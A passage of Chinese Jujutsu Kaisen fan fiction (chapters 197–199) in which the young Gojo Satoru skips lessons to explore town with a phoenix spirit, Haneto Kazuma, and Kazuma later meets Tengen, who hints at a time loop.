羽取一真收拢羽翼,也改为站在他肩头,将五条悟衬托着仿佛一位带自家鹦鹉出来溜街的大少爷——虽说普通人压根看不见诅咒就是了。 “接下来往哪里走呢……” 出是成功出来了,但五条悟只有从正门坐车出去的经历,而且也不知道该去哪里逛才比较有趣。 即便如此,他的心情也很好,便随意挑了个方向走去,灿烂的阳光洒落在他随步伐一翘一翘的发梢上,泛出一圈柔软的纯白光晕,几近透明。 这种不受约束的感觉实在轻快又自在,哪怕五条悟忽然决定踢飞路边的一颗小石子,看着它啪嗒啪嗒地滚远,也不会有人立刻跳出来委婉劝他“有失仪态”。 至于下午的课快要开始了——这个念头只在五条悟的脑海里盘旋片刻,随即就被他干脆利落的抛到脑后。 反正又是没劲的思想教育,就算不听也不会怎么样。 ——与此同时,那位年纪大到白胡子大把的老头站在空无一人的房间里,难以置信到颤巍巍取下镜片擦了擦,再戴回去,发现真的不是自己眼花。 下任家主的继承人竟然学会逃课了啊啊…! 但这声足以震动长老们的悲鸣没能传达到五条悟耳中,于是这只快乐的小猫猫依旧带着凤凰在大摇大摆的逛街。 抬头就能看见的招牌数量非常多,其中一些的样式也格外别出心裁,是商家为拉客而绞尽脑汁想出来的招数。 第一次偷溜出五条家的五条悟并没有目的地,因而无论是展示着什么有趣玩意的橱窗,他都会站那里看上好一会儿。 有着大屁股的电视机很有趣,在放有很多特效画面的MV,据说是某某歌手今年新推出的流行单曲。 服装店会用人偶模特展示出当季流行的款式,比他身上的这套衣服还要花哨许多。 路过理发店时,还听见对发型不满意的顾客在跟店长吵架。 卖漫画跟杂志的书店门口挤着好几个与他差不多年龄的小孩,背着书包,制服穿得歪歪扭扭,似乎已经放学了,正在讨论最近流行的漫画作品以及爆火的偶像。 柏青哥店传来的声音最响亮,那里的人也特别多,大力拍动按键发射小钢珠的动静、循环播放的音乐,不时冒出的欢呼与咒骂交织在一起,让那一整片区域都变得特别热闹。 坐在里面玩柏青哥的人员也十分杂乱,从十几岁的未成年到四五十岁的中年人,从男性到女性,每个人脚边都放着一大摞装满小钢珠的塑料篮,视线也只专注盯在那颗不断弹动的小钢珠上。 五条悟只是站在门口看了一会,马上就有店员出来提醒他,“小弟弟,你不能进来哦。怎么只有你一个人在,大人呢?” “就在我身边。” 五条悟说了一句让店员完全摸不着头脑的话,便走开了——他对这个柏青哥的玩法也并没有多少兴趣。 那些同辈人说的《GA赛车》,肯定不是在这种机器装置上玩的。 这条街道上人来人往,大多数路人都好奇盯着他——确切地说,他的眼睛与头发看——其中没有任何一道视线落在他肩头的一真身上。 他们都是看不见诅咒的普通人,因此,他们也看不见他偶尔能用[六眼]瞥到的低阶咒灵。 反正是低阶咒灵,就算放着不管也不会出大事吧。 站在咖啡店门口,五条悟认真盯着店里那只正在发出嗡嗡声的蚊子咒灵,心底默默想道。 说是咖啡店,其实也会附带售卖一些搭配品尝的甜点,摆在透明橱窗里的造型十分精致且漂亮,与咖啡特有的香气混在一起,散发着甜美的味道。 五条悟有点挪不动腿。 他在这一路上看见的咒力太多,[六眼]可以称得上是首次超负荷运转,消耗能量过大,以至于他肚子都跟着在咕噜乱叫。 但同样是第一次出门,五条悟摸了摸口袋,发现自己忘记带钱了…… 他以前都没有需要自己花钱这个概念,只要是长老许可的需求范围内的东西,一开口就会有仆人立刻送过来。 纵使五条悟明白出门在外,买东西需要花钱这个常识,也由于自身是第一次干偷溜出门这种坏事,导致他根本没想起来还要带钱。 其实,他好像也没现金……下次问那些长老要一点再偷跑出来? 远在五条家的五条辰雄,忽然感受到了一阵突如其来的莫名心梗。 而五条悟又盯着那只篮球大的蚊子咒灵发了会呆,还是决定抬脚跨入这家咖啡店内。 ——但并非为了向店长赊账讨要一份甜心,而是那只咒灵在空中盘旋了许久,最终嗡嗡叫着,落在了那位店长姐姐的背上。 他发动[苍]还不太熟练,在这种咒灵紧贴着普通人的情况下,需要在一定距离内才能保证不伤到人的精准度。 “小朋友,是找不到大人了吗?” 那位站在柜台后的店长姐姐似乎感到不舒服,正在揉肩膀——但看见五条悟往她这边走过来,还是很亲切的俯下身,笑眯眯问道。 “只是来看看。” 五条悟摇了摇头,在店长姐姐不明所以的目光中比出个手势。 术式顺转,[苍]。 在[六眼]的原子级别精密操控下,极小型的透明漩涡出现在她的身后,瞬间就将这只弱爆的蚊子咒灵从篮球坍缩成了乒乓球那么大,而后惨叫着消散了。 “欸?” 店长姐姐困惑眨了眨眼睛,完全看不懂眼前这位拥有极可爱样貌的白发蓝瞳小男孩为什么会突然伸手。 但她感觉自己原本正隐隐发痒的后背,此刻已经没有任何不适的感觉了。 除去她的长发被[苍]的边缘波及到,有少许漂浮又落下,仿佛被微风刮过的痕迹以外,谁也不会知晓刚才五条悟在做什么——诅咒与术式,普通人都看不见。 解决掉这只咒灵,五条悟重新将手揣回口袋里,“现在看完了。” 他转身就要离开这家咖啡店,肚子却又很不合时宜的发出了一声咕咕叫。 精细的发动术式也很消耗能量,五条悟现在更饿了,决定提前结束离家出走计划,回去紧急吃点东西补充体力。 “等下哦。” 店长姐姐虽然不明白五条悟刚才在做什么,但完全听出了他现在很饿。 在那双猫似的明亮蓝瞳注视下,她弯下腰,从玻璃展示柜里端出一份切角的草莓奶油蛋糕——而后又翻出一柄小叉子,笑着将它递给五条悟。 “来,姐姐请你吃。” “——!” 五条悟眼睛都瞪大了,盯着那块正散发出甜甜香气的草莓蛋糕,“但是,我……” “没事没事,只是一块蛋糕而已。” 店长又将它往前递了些,另一只手撑着台面稳住重心,几乎小半个身体都压在了柜台上;她其实并不知道五条悟刚才祓除了一只趴在她背后想要吸血的咒灵,仅是纯粹出于善意,不希望他挨饿而已。 “如果过意不去的话,下次可以再来我的店里光顾哦。” 她朝五条悟笑得眼睛弯弯,“但是不可以喝咖啡。你还太小了,没到喝这种东西的年龄呢。” “——嗯,谢谢姐姐。” 五条悟眼睛亮亮的接过这块蛋糕,很有礼貌的道完谢后,才用叉子挖下一大块,啊呜放进口中。 又甜又软的味道,裹挟着奶油的特殊香气在口腔里弥漫,抚慰了咕咕直叫的肚子,也让他接近昏沉的大脑立刻精神一振。 在柜台上撑着脑袋的店长笑起来,显然对他的反应很得意。 “好吃吗?” “好吃!” 家里虽然也会供应羊羹、和果子或蛋糕之类的餐后甜点,但当时他都是在饱着肚子的情况下吃的,没想到等自己饿着肚子再品尝它时,竟然会变得这么美味。 还能迅速补充大脑超负荷运转时所需的能量。 走出店外的五条悟依旧端着那块没吃完的草莓奶油蛋糕,还挖了一叉子,送到站在他肩头的这只漂亮凤凰嘴边,要跟它一起分享。 “你也来尝尝看。” 他现在其实没有味觉来着,也不需要进食。 “嗯,果然很好吃。” 羽取一真这么想着,还是很给面子地吞掉了这块蛋糕,让五条悟的表情变得更加开心。 “外面真的有很意思,以后再多出来逛逛吧。” 轻描淡写做出决定的一句话,预示着五条家长老未来集体捂胸心梗的次数绝不会低。 不过,即使那些人总对他灌输术师的存在天生就要比非术师更高人一等,而他们则是维持咒术界内这个祓除咒灵秩序正常运转的最大功臣,享有更多的资源也是理所应当之类的言论……五条悟也压根没往心里去。 他半点也不在乎自己有没有高人一等,更不在意祓除咒灵会不会得到所谓“更多的资源”作为回报。 他只是想做就这么做了而已。 而且,店长送给他的这块草莓奶油蛋糕真的很好吃。 “回去后还是得找长老多要点钱,” 五条悟用叉子仔细刮掉纸盘底部的最后一点奶油,又伸出小舌头舔了舔无意间沾到手指上的那一小块白色。 只有看向羽取一真的眼睛,在闪闪发亮。 “我下次想尝尝那个芒果口味的。” 第197章 偷溜出去时, 五条悟是翻墙的;回来时,五条悟是光明正大走正门的。 反正都翘掉下午的所有课了,该发现他离家出走的那位山羊胡老师, 现在大概率已经将情况打小报告给了长老们。 他就是再偷偷翻墙回去也没有意义, 还不如直接走正门省力。 见到五条悟从外面晃悠回来的门口守卫,确实半点也不惊讶,只是在恭谨问好后,请他先去偏殿的茶室内——辰雄长老正在那里等他。 很显然,五条宅邸早就经历完“发现悟少爷不见后兵荒马乱”的第一阶段、以及“发动所有人到处去找”的第二阶段,眼下是“等他回来后兴师问罪”的第三阶段。 五条悟也很淡然, 他都能猜出这些啰里啰嗦的老头准备对他说点什么。 “辰雄长老,久疏问候。” 但五条悟还是去了, 连欠身行礼后腰背挺直跪坐在畳垫上的一连串动作也相当标准且流畅, 让五条辰雄刚要开口的训斥都被憋在嘴边, 硬生生先回了一句客套话。 “啊, 嗯,老夫身体尚可, 不劳费心。” 突然被五条悟这么一打断,五条辰雄方才酝酿许久的愤怒气焰顿时就被浇灭一大半,干巴巴又补了一句“坐过来些,陪老夫喝些茶”。 既然自诩为上层人士, 自然要做些附庸风雅的事情——边观赏庭院内这幕造价不菲的枯山水景观, 边慢饮着品种昂贵且稀缺的抹茶,自然是极雅致且风流的。 于是, 五条辰雄端起茶杯轻抿一口,开始慢吞吞教育起五条悟无故偷溜出门的此举实在不妥,不仅耽误课业, 还有概率遭至敌人攻击云云。 说到一半,他又开始追忆往昔,阐述过去的五条家曾有过多么辉煌的时期,以一家之力轻松抗衡另外两家。 这话讲得又长又绕口,配合着五条辰雄不时发出的长吁短叹,比睡前故事还要更让人催眠。 五条悟背对着枯山水庭院而坐,脸上没什么表情,对摆在面前的这杯抹茶也毫无兴趣。 他开始怀疑五条辰雄单纯只是想找个人陪他聊天,而五条悟只是不幸被抓了壮丁。 在貌似认真听训的背后,左耳进右耳出的可爱幼悟早已神游天外,开始回忆下午逛过的街道上到底有多少好玩的东西。 羽取一真早早就藏在了悟的影子里,此刻也能看出他早就想离开的憋闷。 而且长时间跪坐也很不舒服,悟一直想换个更轻松些的姿势,但稍微一动就会被五条辰雄发现,而后告诫他这样的正姿跪坐才最符合品茶礼仪。 五条悟:“………” 憋在心底的不满与抗议已经足够多了,再往里塞一点都会炸毛。 羽取一真也对五条辰雄这老头很不爽——悟想做什么就做什么,还要你来教? 怎么什么都想管呢! 虽然不能像二周目那样给老头一个教训,但如今变成过咒怨灵的一真也有过咒怨灵能用的办法。 在五条辰雄看不见的视线死角里,羽取一真偷偷探出一个小脑袋,视线紧盯放在案几上的那壶茶。 当五条辰雄终于慢条斯理讲完了一段大道理,给自己的瓷杯填满茶水,预备再喝口茶润润嗓子的时候—— “好烫!” 这壶烧开的茶不是放了好一会儿吗,怎么会这么烫! 五条辰雄“噗”一下喷出满口的烫茶,呼哧呼哧直喘,感觉舌头已经被烫得麻木,很可能已经起了好几个燎泡。 至于那些飞溅向对坐五条悟的茶水,早就被他偷偷发动的[无下限]术式全部挡了下来,一点也没沾到身上。 早在[六眼]发现一真的小动作时,他就预料到了这一刻,提前发动了术式。 因此,旁观五条辰雄出糗的五条悟也在心里跟着偷偷乐。 哈哈,这下可变成他毫无仪态了哦。 五条辰雄好不容易感觉嘴里的热度散去了些,一抬眼,看见五条悟仍旧正襟危坐,目不斜视,好似刚才他什么也没看见。 “………算了,你回去吧。” 他怎么会感觉不出来这小子刚才正幸灾乐祸呢,要不是确定[无下限]术式既没有加热茶水的效果,也不可能凭空变出一壶热茶,五条辰雄会百分之百断定肯定是五条悟在调皮捣蛋。 “我需要一些现金。” 五条悟终于慢吞吞开口,向他提出要求。 五条辰雄:“……” 五条辰雄眯起眼:“你该不会还想偷溜出去吧?” 虽然被烫得仍旧发麻的舌头让他的这句话有点口齿不清,但并不妨碍要传达出的意思——你小子,一次就算了,还想有第二次!? 五条悟泰然自若回望,满眼都写着“不然呢?”。 五条辰雄:“………” 他现在明白自己下午为什么会莫名其妙心梗了。 这是一种悲哀的预兆啊,意味着悟这小子不知道跟着谁学坏了,已经学会用离家出走来给自己找乐子、给他们找麻烦了! 但要他真的不给钱吗?似乎也不行,眼前这位可是他们精心培养的继承人,是堂堂五条家下任家主,出门没钱买东西吃算怎么回事?要是让其它两家知道,还不得笑掉大牙。 给,还是不给,这是一个严肃的、似乎压根就没有其它选项的问题。 “………” 五条辰雄心累挥挥手,让五条悟暂时别出现在他面前堵心。 “会安排人给你的。” 最后,五条辰雄真的给了五条悟一笔钱,金额还不小。 就算是要学坏玩逃课加离家出走,那也不能让别人给看扁……不对,什么离家出走,那只是去见见普通社会的世面而已! 五条辰雄没办法说服五条悟不偷溜出去玩,只能捂着胸口强行说服自己。 反而是五条悟的生活变得丰富又有趣——他很明确的知道自己需要什么,但凡是没什么营养内容的课,五条悟就果断带着一真开溜。 他后来又去被店长姐姐第一次送蛋糕吃的那家咖啡店,把摆在橱窗里的甜点全部都尝了一遍。 店长姐姐看着这个认真板起脸点单、似乎在纠结哪款蛋糕最好吃的可爱小男孩,被萌得实在压不下眼底的笑意。 于是,她后来除了售卖咖啡以外,还专门开发了酸甜可口的果茶和苏打水菜单,邀请每次都是独自前来的五条悟当她的第一位试喝顾客。 因为是试喝的内测商品,所以不需要付钱。 五条悟捧着满满一杯加冰的蜜瓜苏打走在街头,觉得自己好像喜欢上吃甜食了。 嗯,话说甜食也能快速补充能量,确实是个很好的选择啊。 “给你也喝一口。” 五条悟将手里这杯蜜瓜苏打递给停在他肩头的漂亮凤凰,让它也尝尝味道。 无论有什么好东西,他都会很高兴的跟一真分享,就像在学着五条宅邸里的那些同龄人会互相分享自己带来的零食那般。 羽取一真知道悟其实根本没有继承人的架子,如果那些小孩过来邀请悟一起玩,那么他也会很开心的加入进去。 但很可惜,五条家的腐朽制度就已经决定悟与其余人之间都有着一层看不见的隔阂;哪怕悟本身就将姿态放得足够亲近,他们也不能真的来邀请他,因为这样算是“不守规矩”。 因此,在没人能认出他身份的普通商业街上,反而是五条悟待得十分自在的地方。 他后来还想去游戏厅玩那些《急速赛车》和《快打旋风》之类的游戏,但年纪还太小,身边又没有大人陪着,一进店门就被拦出来了。 “这里不是小孩子能进来的地方哦,路口左拐那边有个迷你儿童乐园,站在门口卖票的大姐姐肯定很欢迎你去那边玩呢。” 被当成完全不懂事的小屁孩狠狠哄了一通,还被塞了一根棒棒糖的五条悟:“………谢谢,我知道了。” 可恶,他以后一定要玩到。 看着幼悟那张臭到不行但又因为有着婴儿肥所以显得无敌可爱的圆滚滚侧脸,羽取一真很确信自己眼下如果不是已经失去人型的过咒怨灵,肯定已经没忍住笑出了声。 五条悟偏过脑袋看了眼在偷偷乐的一真,又将目光重新落回到手中的棒棒糖上。 ——算了,反正一真也没办法陪他打游戏机,进去也没什么意思。 他慢吞吞用手指扣开包装严实的塑料糖纸,将那根苹果味的棒棒糖放入口中。 唔,糖果的口味也意外合他心意…… 五条悟双手习惯性揣进卫衣的袋鼠兜里,沿着喧嚣又热闹的街道不紧不慢逛了一段路。 在某个时刻,他忽然停步回过头,极冷淡的目光好似一柄锋利的剑,笔直地刺透人群与玻璃,近乎将旁边那栋建筑物瞬间切割得千疮百孔——并非针对普通人,而是藏在其中的、那两个向他投来恶意的诅咒师。 被这双倒映出无垠晴空的苍天之瞳注视着,就仿佛被高天原的无上神明投来一瞥,连半点升起反抗的心思都不可能存在。 哪怕眼前这个赏金过亿的[六眼]小鬼,远比他们的年纪要小得多。 这种货色也敢来觊觎他吗? “看什么看啊,杂鱼。” 被盯到不爽的五条悟只一眼就将那两个诅咒师震慑到再也不敢出手,本人却没有多么在意,而是继续往前走去。 但羽取一真很在意,“刚才怎么了?” “有两个杂鱼,大概是眼馋盯上了我的赏金。”五条悟摇头,“没什么,那种垃圾就算再来十个,也不可能杀得了我。” [杀]这个词很敏感,瞬间触动了羽取·特级过咒怨灵·一真的DNA。 “不行,我得去宰掉他们。” 羽取一真当场振翅而起,誓要回去把他们烧得连渣渣也不剩。 “敌人还是死的最安全……不,有的尸体连死了都不安全,我得去帮忙火化他们。” 那些让五条悟不高兴的老头杀不得,这两个诅咒师难道也杀不得? 反正他现在也能感知到咒力了,从普通人群里分辨出术师这件事对他来说,也变成了轻而易举就能做到的事情! “——唔?” 五条悟刚眨了下眼睛的功夫,一真就飞没了身影。 那架势之急切,就好似他正处在性命堪忧的危急关头,晚一步便会没命。 惊呆片刻,五条悟忽然笑了起来,脸上表情是显而易见的非常开心。 哪怕羽取一真将那两个临死前还在嘀咕什么“咒灵变强的原因找到了”的诅咒师烧得连渣也不剩,才心满意足地飞回来,盘旋了圈又落回五条悟肩头,等着被质问时——后者也只是歪过脑袋,用脸去亲昵蹭了蹭他的。 “被关心的感觉原来是这样的,”五条悟高兴的说。 “之前有听到他们在讨论高烧后母亲会摸着脑袋唱安眠曲,但我想象不出那种场景下的心情。” “我现在终于体会到了。” 第198章 面对五条悟随年岁增加而同样见长的任性, 五条家的长老们除了头疼以外,拿他根本毫无办法。 而偏偏,这位时隔数百年终于诞下的[六眼]确实如记载那般, 在咒术上有着极高的天赋与聪颖的头脑, 不仅很快就能掌握那些内部术师通用但未必能学会的简易领域及结界术,包括[无下限]术式的领悟及衍生应用上,也全是依靠前任[六眼]留下的记录而努力自学的。 因为嫌晚上的灯不够亮,五条悟还让一真站在书桌上过,充当一个能暖手且亮度可控甚至还能陪聊的超大型电灯泡。 造型还很漂亮! 羽取一真:“………” 又好笑又无奈,但这是悟的主意, 怎么办呢,只能用脑袋拱一下他颈窝勉强算是控诉这样子。 “耶嘿。” 五条悟被拱得后仰, 发出一点坏坏的窃笑——连那双又大又圆的可爱苍瞳也眯了起来, 像是明知一真绝对不会拒绝他的得意, 却又特意带上些许软绵绵的撒娇。 在某些时刻的活泼神态上, 幼悟已经开始接近羽取一真记忆中更长大些的他。 等到来年七月的京都祗园祭,五条悟换上了那件送来的蜻蜓浴衣。 这是起源于距今一千多年前、自平安时代就流传下来的仪式, 是京都每年最为隆重的神明祭拜活动之一,往往要持续从7月1日到31日的一整个月。 按照普通社会的说法,这是由于当时人口激增、瘟疫爆发,兼之当时人们的认知水平不足, 便将疫病的源头归咎于牛头天王的怨念在作祟。 最初, 他们仅是在京都二条城以南的神泉苑竖起66根鉾来净化污秽;后来,人们改为用神舆将神灵从神社中请出, 绕城市街道巡视以镇压邪祟;直至最终,逐渐发展成包括神輿渡御、山鉾巡行、花笠游街、宵山祭、神幸祭、还幸祭等许多祭祀仪式在内的超大型民间请神活动。 比起迎神镇邪以庇佑众生无病无灾,祗园祭更像是一种不分男女老少, 皆可在这段时间呼朋引伴,热热闹闹出门游玩的庆祝节日。 但在咒术界这边,实则有另一套记载的历史。 平安时代的人口增长迎来诅咒前所未有的爆炸式涌出,兼之人类方的天才咒术师同样大量增加,可以称得上是一场极轰烈的咒术盛世,双方都在日本这块土地上互相厮杀,拼尽全力。 而当时举办的祗园祭,就是这种情势下的产物——既让原本需要大规模发动的仪式宗教化,让世人可接受;又藉由热闹的庆典抚平百姓心底积压的大量负面情绪,减少诅咒的诞生。 “听说这好像和那位天元大人也有点关系,具体就不清楚了。” 五条悟系好腰带,又稍微调整了下领口的位置,让它更服帖些。 “和天元有关?” 羽取一真还是初次听到这个说法,发出一声好奇的疑问。 “那节讲历史的课我没去上,太无聊了,也懒得看书,所以不知道细节。” 五条悟发出理直气壮的“叛逆小孩”宣言,令羽取一真心底失笑。 难怪二周目问上高专的悟关于天元大人的细节,他也是一副没怎么听过的迷茫……原来是小时候在相关课程上翘太多、又懒得去补历史的缘故。 不过,说起天元,羽取一真还是很在意上周目快结束时,乙骨忧太告诉他的“悟在薨星宫什么也没找到”那件事。 天元本身是拥有[不死]术式的术师,当初强调天元同化失败的后果,也只是说天元会[进化],而非[死亡]。 所以在那时候,天元究竟去了何处? 羽取一真想不通,只能暂且记在心里。 而此刻,幼年的五条悟正朝他展开双臂,轻盈飞舞着蜻蜓的和服袖子也完全倒映在羽取一真的眼底——连带他自身好似也化作绝不会后退的蜻蜓,为了带给所有人“胜利”而毅然独自奔赴战场。 “如何?” 五条悟明明是在向他询问,自己却又骄傲补了一句,“我肯定穿什么都合适。” 羽取一真哑然失笑,“没错,无论悟穿什么都有型。” “哼哼。” 五条悟重新收回手,让一真藏在他的影子里,才又用双手揉搓了把脸,控制脸上表情从活泼生动再度压回至冷淡漠然,而后拉开袄门,穿过厢道,来到更外间的寝殿门口。 早有仆人等在此处,甚至主动为他撑开一把遮阳的红纸伞;在五条悟摇了摇头,示意不需要后,才又轻轻合拢收起,夹在臂弯。 作为五条家的下任继承人,五条悟的这次出门却并非为了游玩,而是受邀参观这场祭典的人员之一。 这是有效遏制诅咒在夏季高发的一场流传千年的大型“仪式”,是许多咒术师难得能稍微喘口气的时间段,咒术界自然也会举行相关的活动来庆祝。 实力已达到一级咒术师水平的五条悟,也不必再遵守之前那个过于严苛的、连家门都不让出——虽说他早就偷溜出去太多次——的规矩,即将正式在御三家的所有人员前亮相。 但听说还是一群老头,和一群稍微不那么老的老头,令五条悟毫无兴致,只将其当做按部就班的枯燥流程来对待。 跟随仆人的引路,五条悟沿着屋檐旁的林荫道缓步慢行,大脑已经走神了不知多久。 倘若他之后一直待在五条宅邸,要遵守的繁文缛节总是会没完没了,大概率要一直持续到他继任家主为止。 就算是为了术师修行而前往各处积累祓除咒灵的经验,身旁也总会跟着人看顾,依旧没什么隐私可言。 但之前去东京做任务时,听那边咒术师提了一句“东京咒术高专”,让五条悟很感兴趣。 虽说五条家内部管它叫做“得不到正统传承的非家系咒术师才会去的地方”,但他正是看中了那所学校的包吃住待遇。 能离开对他玩游戏都会进行干涉的五条家,五条悟确定自己会过得更开心且自在一些。 何况,一真也就不必再躲藏起来了,他可以随便找个偏远点的任务,回来就说一真是他签订的凤凰火式神之类…… 木屐踩在夯实后又铺上石砖的道路上,发出的轻微声响,却在下一刻忽然停顿了些许。 羽取一真敏锐察觉到了这点异常,从悟的影子里投来疑惑的视线。 他看见五条悟正转过头,一眨也不眨的苍穹蓝瞳随之偏转,望向站在他身后的、羽取一真再熟悉不过的一个人。 伏黑甚尔。 或者说,禅院甚尔。 对了,他也是御三家之一的人,自然可以趁这种机会跑来亲眼见一见传闻中的[六眼]。 五条悟不认识禅院甚尔,只觉得这个身上毫无咒力的家伙确实有些特殊,便收回目光,不再看他。 但羽取一真记得。 羽取一真还记得他是如何用那柄模样古怪的短刃刺穿了自己的脖颈,给予干净利落的致命一击——但实际上,对方的目标并不是他,而是由他拟态而成的[五条悟]。 羽取一真还记得,他的反转术式技能是怎么来的。 [杀死五条悟]。 这家伙,在他没看见的地方,杀死过五条悟一次。 他要杀了他。 他要杀了他,现在就要。 远比身为人类时更直白的恨意瞬间倾泻而出,已恢复大半的磅礴咒力使大地亦随之震颤,仿佛有遮天蔽日的炽焰在大地之下滚涌,即将刺透出无数道裂隙,将整个世界全部吞没! 能察觉到一真在发怒的五条悟露出相当诧异的神情,下意识就要回身安抚他;同样身为术师的引路人则在这瞬间表现得极为警惕,似乎在紧绷着神经防备接下来的袭击—— 【请平息下来,否则,这个世界亦将难以延续。】 时间的流淌,仿佛在这一刻忽然慢了下来。 似乎有人跨越了绵长的山岭与都市,将声音平和且清晰地传递至即将失控的羽取一真耳畔。 这道不知从何而来的陌生话语,竟然清楚知晓他的存在。 在羽取一真愣神的功夫,酝酿喷发的烈焰也逐渐散去,大地恢复平静——仿佛刚才引发震动的,仅是一场突如其来的小型地震。 等他再抬眼望去时,禅院甚尔已经离开了,没有咒力的他就像一滴清澈的水珠,无论混入什么颜色的墨水里都能迅速与它融为一体,彻底隐去行踪。 但羽取一真更在意一件事:刚才是谁在对他说话? 甚至,用出了[世界难以延续]这种说法……换个方向思考,岂不是与游戏所提示的[未来构拟度]这一用语相似吗? 好似听见了他的困惑,那道声音再度响起,内容却极为简明扼要。 【来薨星宫找我。】 羽取一真惊讶抬头,确定附近除去五条悟和他身边那人以外,再没有第三者出现于此。 何况薨星宫这个名字,他并不陌生——虽然上周目没机会去过,但羽取一真知道那是位于东京咒术高专地下的天元居所。 是那位拥有[不死]术式的、据说维系着整个日本结界的、天元大人的居所。 对方似乎知晓许多事情,但羽取一真此刻尚在京都,更加没办法抛下五条悟,独自去东京的咒术高专找天元。 或者,他可以等到陪悟去东京咒术高专上学的时候,顺带去薨星宫看一眼那个天元到底是什么情况。 ——羽取一真那时是这么想的,但事情远比他预料得还远要措手不及。 后来的幼悟依旧喜欢翻墙偷溜出去玩,其中一次的回来途中还祓除咒灵,救出了位自称“村上千香”的老婆婆。 对方不仅端出了超好吃的草莓大福作为谢礼,还准确认出了五条悟。 在她主动说明自己是五条家的御用和服师傅后,五条悟也很快与她熟络起来。 倘若说这些相遇的场景在羽取一真的记忆中还有些许模糊,那么当千香婆婆让五条悟去样衣间挑选中意的和服样式,表示她可以为他做一件喜欢的和服,五条悟却挑选了身成人穿的纯黑底纹付羽织袴时,羽取一真刹那间回忆起来。 等等,那身纹付羽织袴上的家纹,那个类似鸟类展翅垂首的姿态……! “不要五条家的家纹,希望婆婆可以按照凤凰的模样来做一个新的。” 五条悟想了想,拿过桌上的纸笔,给千香婆婆画出一只勉勉强强能看出来是一真的凤凰。 羽取一真极其惊愕,看着那个被千香婆婆笑着点头说可以做出来试试的纹样。 那其实是……他? 第199章 五条悟没有前两个周目的记忆, 但羽取一真记得一清二楚。 无论是穿在一周目【加茂家主】身上的纹付羽织袴,亦或穿在二周目【羽取一真】身上的纹付羽织袴,袖口处的家纹都是相同的。 都是三周目的【特级过咒怨灵·一真】。 这算什么情况, 早在游戏刚开始的时候, 他就把他自己当作家纹穿在身上了? 换句话说,他玩的这还是……游戏吗? “当然是游戏。” 初次见到的天元,正双手交叉环抱在胸前,对他这么说道。 彼时,羽取一真已经与悟短暂告别,在解释自己额外有要事后, 便振翅从京都飞至东京,直至落在咒术高专内;随即, 他又沿着莫名出现的咒力残秽指引, 通过其中一扇无人防守的门, 来到了地底最深的所在。 本该防守最严密的高专结界没有拉响警报, 天元一路为他开了绿灯。 羽取一真此前从未来过薨星宫,此刻自然也先被这本殿内的恢弘景象震撼了下;但很快, 盘旋在空中的他便找到站在树根旁的一道身影,收拢烈焰化作的羽翼,轻盈落在这株神树的其中一根粗枝上。 “你为什么会知道[游戏]?” 他问眼前这个自称天元的人——或者说,外型接近于人的生命体。 相比普通样貌的人类, 天元的脑袋更像是一个被削顶的圆锥体, 脑袋上还长出了四只眼睛。 羽取一真认真端详了好几遍,也没办法从对方的外型上分辨出性别。 “我当然知道, ” 天元开口,语气平和,面上看不出任何明显的表情波动。 “因为, 这款[游戏]就是你做给自己的,一真。” “………” 在得到这个答案的刹那间,燃烧在这只凤凰身上的金红炽焰好似被泼去了一瓢滚油,星火纷飞的剧烈波动许久,才又缓慢平息。 沉默许久,羽取一真终于出声询问天元。 “你为什么会知道这些?” 他记得很清楚,自己从来都没有见过天元,也不可能和对方聊这些东西。 “…这是一个关于衔尾蛇的故事,”天元长叹口气,“要说头与尾该在哪里的话,我也早就分不清了。” 衔尾蛇是一个关于宗教或炼金术的符号,大致形象都以一条咬着自己尾巴的蛇形象出现:有的是一个圆形,有的是一个横过来的8字形。 它是世界上最古老的神话符号之一,含义也相当明确——无限与循环。 “这句话是什么意思,我会永远被困在这几个周目的循环里?” 仿佛在昭示他陷入无限困境般的话语,令羽取一真的声音顿时冷下去,反而换来天元诧异一瞥,露出点不甚明晰的笑意。 “当然不是,现在的你也仍然处于循环的其中一段之内,远没有到达真正的终点与起点。” 羽取一真:“………” 这家伙,竟然在给他打谜语。 “等你走到那个时刻,就会彻底明白了。” 天元缓慢摇头,倒也没有完全藏着掖着。 “我相信你肯定好奇过,为什么五条悟哪怕不记得,也拥有许多本该仅有你知晓的潜意识喜好。那是因为,世界线只有唯一一条。” “时间点。” 羽取一真开口,已精准捕捉到了关键。 他每开一个周目,根本不是对应开启了平行世界线;而是始终处于同一条世界线上,去人为选择不同的时间节点。 “是的,时间点。”天元赞许道,“你的[十方摩诃],眼下依旧未能开发到极限。不过,你已经以这身姿领悟出[一真法界],也算是终于摸到门槛了。” [十方指的是上天、下地、东、西、南、北、生门、死位、过去和未来。] 在许久以前,五条悟给他解释过的佛经释意,清晰无比地浮现在羽取一真的脑海里。 也就是说,前面六个指代空间的词语其实并非侧重点,关键的用法在于生与死、过去与未来? 羽取一真思索了会,“[一真法界]…我以为只是点燃能烧掉一切的火焰。” “那也将它想得太简单了。[若人欲了知,三世一切佛,应观法界性,一切唯心造]。” 天元念完这句佛偈后,又主动对羽取一真解释道,“法界中的一切法,都是由心识显现出来的。你可以将一真法界理解为一片平静无波的水面,仅有水面为[真]。在那水面之上,没有风,没有光,没有生物,什么也没有。” “这是一片空寂的水面,却能以心生出万物。心就如同一阵无相的风,当你让这阵风吹过水面,令它泛起波纹后,物体的形状就出现了。” “它或许最终依旧会回归空寂,但在此刻,它就是因你心相而诞生的法界。” 羽取一真想要烧尽世界,整个世界便升腾起了庞大的炽焰,延伸至他能展开的生得领域尽头。 假设他掌控的领域再大一些呢? 假设他真正想要的,并非是点燃起烧尽一切的火,而是寻求绝望之后的希望? 夏油杰曾经说过,那个名叫真人的特级咒灵触碰过他的灵魂,是一团燃烧的火焰。 还有那个不知从何时起开始流传的诺查丹玛斯大预言,竟然无比契合他在新宿经历的一切。 羽取一真好像明白了什么。 ——但还有个问题。 他盯着眼前的天元,“你为什么会知道这么多事情,还要特意告诉我?” “先来解释为什么我能找到远在京都的你吧。” 天元将手按在自己的胸口上,“虽说我在咒术界眼里,大概就跟这颗树没有什么区别,但实际上,由我布下或传授的结界,里面的咒力波动我都能感知到。” “特别是我如今逐渐迈向进化,灵魂脱离早已腐朽的躯体,在这世界上无形无相、无处不在。换言之,世界即我、我即世界。” “五条本家被包含在我布置在京都的净界之内,你当时的咒力几近失控爆发,我自然能清晰的感知到你。” “这大概就是成为特级过咒怨灵的弊端,你被迫牺牲了一部分身为人的理性,喜欢与厌恶的情绪都变得如此明显与直白。” 羽取一真没有反驳——他默认了这一点,并认为这也没什么不好。 “接下来,回答你的问题。” 